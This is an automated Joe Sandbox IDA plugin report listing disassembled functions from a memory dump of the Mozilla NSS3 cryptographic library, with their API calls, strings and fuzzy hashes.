nocertdb, xrefs: 6C656951
certPrefix=, xrefs: 6C6569B8
configdir=, xrefs: 6C6569A4
flags, xrefs: 6C656937, 6C656942, 6C656956, 6C65696D
nokeydb, xrefs: 6C656968
keyPrefix=, xrefs: 6C6569CC

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 3f53def2b943172f4e92ae5ed74346e531fdd1c5e196b5d98baf85bdd41c65e2
Instruction ID: dc9ae5cb3ca7fa1724452cb9cdf81f3445dab42241607ed5d33570e903c58497
Opcode Fuzzy Hash: 3f53def2b943172f4e92ae5ed74346e531fdd1c5e196b5d98baf85bdd41c65e2
Instruction Fuzzy Hash: F841DBF5E402056BE700DB75AC81B6B77ACAF1534CF644830E905D6B02F731DA28C7AA

Function 6C656CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C656943
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C656957
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C656972
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C656983
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6569AA
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6569BE
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6569D2
Part of subcall function 6C656910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6569DF
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C656A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C656D8C
free.MOZGLUE(00000000), ref: 6C656DC5
free.MOZGLUE(?), ref: 6C656DD6
free.MOZGLUE(?), ref: 6C656DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C656E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656E72
free.MOZGLUE(?), ref: 6C656EA7
free.MOZGLUE(?), ref: 6C656EC4
free.MOZGLUE(?), ref: 6C656ED5
free.MOZGLUE(00000000), ref: 6C656EE3
free.MOZGLUE(?), ref: 6C656EF4
free.MOZGLUE(?), ref: 6C656F08
free.MOZGLUE(00000000), ref: 6C656F35
free.MOZGLUE(?), ref: 6C656F44
free.MOZGLUE(?), ref: 6C656F5B
free.MOZGLUE(00000000), ref: 6C656F65

Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C65781D,00000000,6C64BE2C,?,6C656B1D,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C40
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?), ref: 6C656C58
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C6F
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C656C84
Part of subcall function 6C656C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C656C96
Part of subcall function 6C656C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C656CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C656FF4

Strings

+`fl, xrefs: 6C656D0D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`fl
API String ID: 1304971872-1761860945
Opcode ID: 8809b3ba63b3fab998856649f69747032d777288191fc64ecbac438910d1b66e
Instruction ID: ad3a5ca4bcbd0250b46e523d91a29af1d0d36011aff7a91a245e16a00d54a536
Opcode Fuzzy Hash: 8809b3ba63b3fab998856649f69747032d777288191fc64ecbac438910d1b66e
Instruction Fuzzy Hash: 17B16DB0E062099FEF10CBA5DC44B9EBBB9BF05349F640124E815E7740E731E925CBA9

Function 6C6489B0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6C6489D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C648A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648A13

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C648A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C648A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C648A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C648A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6C648AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6C648B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648B52
PR_LogPrint.NSS3(?,00000000), ref: 6C648B68

Strings

*phKey = 0x%x, xrefs: 6C648B2D, 6C648B3D
nrl, xrefs: 6C648AD0, 6C648B0B
ulCount = %d, xrefs: 6C648A7E
pTemplate = 0x%p, xrefs: 6C648A62
C_GenerateKey, xrefs: 6C6489D1
pMechanism = 0x%p, xrefs: 6C648A46
phKey = 0x%p, xrefs: 6C648A9C
hSession = 0x%x, xrefs: 6C6489EE, 6C6489FE
(CK_INVALID_HANDLE), xrefs: 6C648A0C, 6C648B4B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey$nrl
API String ID: 1003633598-2503494106
Opcode ID: a768820e4da2a09ff64bbaf73976b43bab0e23841158a87c481a8e40e2d5456b
Instruction ID: 66d65f98d02021c4bcef8c7458e269c298743d8d60d1d924238f3c2ba811037e
Opcode Fuzzy Hash: a768820e4da2a09ff64bbaf73976b43bab0e23841158a87c481a8e40e2d5456b
Instruction Fuzzy Hash: 39519470601158EFDB01DF54DE8CE9B3B75AB46318F04C035E909A7A22DB34A959CBFA

Function 6C64AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C64AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C64AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C64AF83

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C64AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C64AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C64AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C64AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C64B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C64B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C64B041

Strings

ulParameterLen = 0x%p, xrefs: 6C64AFD4
pSignature = 0x%p, xrefs: 6C64B023
nrl, xrefs: 6C64B059, 6C64B093
ulDataLen = %d, xrefs: 6C64B00A
pParameter = 0x%p, xrefs: 6C64AFB9
pData = 0x%p, xrefs: 6C64AFEF
pulSignatureLen = 0x%p, xrefs: 6C64B03C
hSession = 0x%x, xrefs: 6C64AF5E, 6C64AF6E
(CK_INVALID_HANDLE), xrefs: 6C64AF7C
C_SignMessage, xrefs: 6C64AF41

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nrl
API String ID: 1003633598-909322784
Opcode ID: 36efa6ef4528f7fced1a1a438546a49b0500ab0599ee604664b1d015930de4e5
Instruction ID: 30d31c761b150b53699150a4583243734a879868e35f7c629511a57dc290749a
Opcode Fuzzy Hash: 36efa6ef4528f7fced1a1a438546a49b0500ab0599ee604664b1d015930de4e5
Instruction Fuzzy Hash: 2A41B435601168EFDB01DF54DE4CA893BB1BB9231EF08C034E81867A12DB359958DBBA

Function 6C6408F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C64094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C640953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C64096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C640974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C64098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C640995

Part of subcall function 6C641800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C641860
Part of subcall function 6C641800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C6409BF), ref: 6C641897
Part of subcall function 6C641800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C6418AA
Part of subcall function 6C641800: memcpy.VCRUNTIME140(?,?,?), ref: 6C6418C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C640B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C640B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C640B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C640B78

Strings

secret, xrefs: 6C640A88
base_nonce, xrefs: 6C640B06
psk_id_hash, xrefs: 6C6409B5
exp, xrefs: 6C640B36
key, xrefs: 6C640ACB
info_hash, xrefs: 6C6409E0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 0e95e26fe7c9e88a8a3c23263a1a13bc9422079e364cf151e4da93082d59e393
Instruction ID: f4a25515c2f435ef6f8b46985100a5ef3f3bb78d35a1a5de3cde3d7c1ca704d9
Opcode Fuzzy Hash: 0e95e26fe7c9e88a8a3c23263a1a13bc9422079e364cf151e4da93082d59e393
Instruction Fuzzy Hash: DB81AA75604305AFC700CF65C980A9AFBE9FF8D308F048929F99887751E731EA19CB96

Function 6C652D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C652DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C652E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C652E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C652E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C,?,-00000001,00000000,?), ref: 6C652E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C,?,-00000001,00000000), ref: 6C652E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EF8
PR_Unlock.NSS3(?), ref: 6C652F62
TlsGetValue.KERNEL32 ref: 6C652F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C652F9E
PR_Unlock.NSS3(?), ref: 6C652FCA
TlsGetValue.KERNEL32 ref: 6C65301A
EnterCriticalSection.KERNEL32(?), ref: 6C65302E
PR_Unlock.NSS3(?), ref: 6C653066
PR_SetError.NSS3(00000000,00000000), ref: 6C653085
PR_Unlock.NSS3(?), ref: 6C6530EC
TlsGetValue.KERNEL32 ref: 6C65310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C653124
PR_Unlock.NSS3(?), ref: 6C65314C

Part of subcall function 6C639180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C66379E,?,6C639568,00000000,?,6C66379E,?,00000001,?), ref: 6C63918D
Part of subcall function 6C639180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C66379E,?,6C639568,00000000,?,6C66379E,?,00000001,?), ref: 6C6391A0

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

PR_SetError.NSS3(00000000,00000000), ref: 6C65316D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: de980117bfa28968705a1f0dc5e835105030a16c455ffa72ea535c5ddd6d4d82
Instruction ID: 6279189291e184f6df7607eaf211a3dae7f54786a62847f4d7dd1564d7517743
Opcode Fuzzy Hash: de980117bfa28968705a1f0dc5e835105030a16c455ffa72ea535c5ddd6d4d82
Instruction Fuzzy Hash: 06F190B1E00218AFDF01DF64D844BADBBB4BF0A318F644169EC05A7711E731E9A5CB95

Function 6C67C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6C67AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C67C98E

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6C67AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C67C9A1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6C67AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C67C9D3

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6C67AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C67C9E6

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6C67AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C67C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6C67AEB0,?,00000004,00000001,?,00000000,?), ref: 6C67CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6C67AEB0,?,00000004,00000001), ref: 6C67CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6C67AEB0,?,00000004), ref: 6C67CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6C67CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C67AEB0,?,00000004), ref: 6C67CA6D
PR_Now.NSS3 ref: 6C67CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C67CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6C67CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6C67CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6C67CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C67CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C67CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6C67CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C67CC5B

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C67CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C67CC89

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: aadd35a2bf453499ea4db8363116c66fd087e0e19e6620416c06a29d5366b0b9
Instruction ID: 44837ec2d6e682aaad854a368967828473e2ee3aee21d3e2e51e83a9a0371eac
Opcode Fuzzy Hash: aadd35a2bf453499ea4db8363116c66fd087e0e19e6620416c06a29d5366b0b9
Instruction Fuzzy Hash: DAB1AEB5D00206AFEB10DF65CC80BEA77B4BF19308F104625E819A7751EB71D9A4CBB9

Function 6C6529A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^jbl,00000001,00000000,?,6C626540,?,0000000D,00000000), ref: 6C652A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^jbl,00000001,00000000,?,6C626540,?,0000000D,00000000), ref: 6C652A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^jbl,00000001,00000000,?,6C626540,?,0000000D), ref: 6C652A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jbl,00000001), ref: 6C652AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^jbl,00000001,00000000), ref: 6C652ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jbl,00000001), ref: 6C652ADF
PR_Unlock.NSS3(?), ref: 6C652B38
PR_Unlock.NSS3(?), ref: 6C652B8B

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^jbl,00000001,00000000,?,6C626540,?,0000000D,00000000,?), ref: 6C652CA2

Strings

@ebl, xrefs: 6C6529E7, 6C652A1D
^jbl, xrefs: 6C6529A5
@ebl, xrefs: 6C652A18, 6C652A22

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @ebl$@ebl$^jbl
API String ID: 2580468248-928323193
Opcode ID: a612fca08e1bb4f13014e3ffd1b906d4b6c6b5a179153c6cef88c703dfa71db6
